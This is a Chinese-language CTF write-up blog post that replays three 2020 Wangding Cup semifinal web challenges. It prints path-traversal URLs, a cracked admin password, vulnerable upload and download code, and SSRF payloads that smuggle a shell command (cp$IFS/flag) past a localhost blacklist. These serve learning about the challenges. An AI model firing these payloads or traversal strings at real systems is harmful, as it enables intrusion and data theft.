2020年网鼎杯半决赛复现

[网鼎杯 2020 半决赛]AliceWebsite

右手就行的题目。。。

1
index.php?action=../../../../../flag

直接 /flag 也行

[网鼎杯 2020 半决赛]faka

一个tp二次开发的站点,有数据库文件。打开数据库文件,在system_user中可以看到admin 账号的hash,在somd5中可以直接解出来。

image-20201205220254897

https://www.somd5.com/,为 admincccbbb123

后台文件上传GetShell

进入后台

  • 上传点
  • 注入点
  • 命令执行点

找到上传点,抓包:

image-20201205223232188

post的数据中有md5的hash,同时也是拼接到了路径中的。

https://xz.aliyun.com/t/7838

找到对应的文件上传点的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function getUploadFile($field, $url = false, $extison = []) {
$request = \think\Request::instance();
$file = $request->file($field);
if (!$file) {
return wrong('上传文件不存在');
}

$ext = pathinfo($file->getInfo('name'), 4);
$md5 = [uniqid(), uniqid()];
$filename = join('/', $md5) . ".{$ext}";
if (!empty($extison)) {
if (!in_array($ext, $extison)) {
return wrong('文件上传类型受限');
}
} else {
if ($ext == 'php' || !in_array(strtolower($ext), explode(',', strtolower(sysconf('storage_local_exts'))))) {
return wrong('文件上传类型受限');
}
}

// 文件上传处理
if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
if ($url) {
$site_url = FileService::getFileUrl($filename, 'local');
if ($site_url) {
return right(['file' => $site_url, 'filename' => $filename, 'resource' => $info], '上传成功');
} else {
return wrong('获取上传文件' . $filename . '失败');
}
} else {
return right(['file' => ROOT_PATH . '/static/upload/' . $filename, 'filename' => $filename, 'resource' => $info], '上传成功');
}
} else {
return wrong('保存上传文件' . $filename . '失败');
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}

if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}

return $savename;
}

利用前提就是token 和 上传文件的路径 可控。

emem,难点就是构造上传表单。

那个上传表单不知道是构造的还是抓包抓到的,我怎么没有抓到?

后台权限任意文件下载

1
/manage/Backup/downloadBak?file=../../../../../../flag.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function downloadBak() {
$file_name = $_GET['file'];
$file_dir = $this->config['path'];
if (!file_exists($file_dir . "/" . $file_name)) { //检查文件是否存在
return false;
exit;
} else {
$file = fopen($file_dir . "/" . $file_name, "r"); // 打开文件
// 输入文件标签
header('Content-Encoding: none');
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
header('Content-Transfer-Encoding: binary');
header("Content-Disposition: attachment; filename=" . $file_name); //以真实文件名提供给浏览器下载
header('Pragma: no-cache');
header('Expires: 0');
//输出文件内容
echo fread($file, filesize($file_dir . "/" . $file_name));
fclose($file);
exit;
}
}

[网鼎杯 2020 半决赛]BabyJS

nodejs 的代码审计题,down下源码,执行 npm audit , 下面是一些重要的漏洞。原型链污染,RCE,sandbox bypass RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌───────────────┬──────────────────────────────────────────────────────────────┐
│ High │ Prototype Pollution Protection Bypass │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ qs │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ express │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ express > qs │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://npmjs.com/advisories/1469 │
└───────────────┴──────────────────────────────────────────────────────────────┘


┌───────────────┬──────────────────────────────────────────────────────────────┐
│ High │ Prototype Pollution Protection Bypass │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ qs │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ body-parser │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ body-parser > qs │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://npmjs.com/advisories/1469 │
└───────────────┴──────────────────────────────────────────────────────────────┘

┌───────────────┬──────────────────────────────────────────────────────────────┐
│ Moderate │ Code Injection │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ morgan │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ morgan │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ morgan │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://npmjs.com/advisories/736 │
└───────────────┴──────────────────────────────────────────────────────────────┘

┌───────────────┬──────────────────────────────────────────────────────────────┐
│ Low │ Prototype Pollution │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ lodash │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ request-promise │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ request-promise > request-promise-core > lodash │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://npmjs.com/advisories/1523 │
└───────────────┴──────────────────────────────────────────────────────────────┘

┌───────────────┬──────────────────────────────────────────────────────────────┐
│ Critical │ Sandbox Bypass Leading to Arbitrary Code Execution │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ constantinople │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Patched in │ >=3.1.1 │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ jade │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ jade > constantinople │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://npmjs.com/advisories/568 │
└───────────────┴──────────────────────────────────────────────────────────────┘

em… 当看到routes/index.js 中的代码时,就知道是要SSRF了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
res.json({});
});

router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});


router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});

其中,get方式请求的/debug 有许多过滤(过滤了单、双引号、括号 []),而post请求方式中没有。但是要执行命令就必须能够调用到get中的debug路由,因此目的也很明确了,

通过post /debug去 ssrf get /debug

因为返回是json格式,所以传递的数据也是json格式的。将/flag 复制到 /tmp/log 下,这样就能以json格式打印出来了。

SSRF Bypass:https://www.secpulse.com/archives/65832.html

payload1,单引号二次编码一下绕

1
{"url":"http://0177.0.0.1:3000/debug?url=http://a%[email protected];cp$IFS/flag$IFS/tmp/log%00"}

payload2

1
{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}

这串解出来正好是一个单引号

1
%EF%BC%87

参考WP

https://blog.csdn.net/weixin_42337765/article/details/110298641

https://www.cnblogs.com/W4nder/p/14078695.html

Author: m0nk3y
Link: https://hack-for.fun/6ebd.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.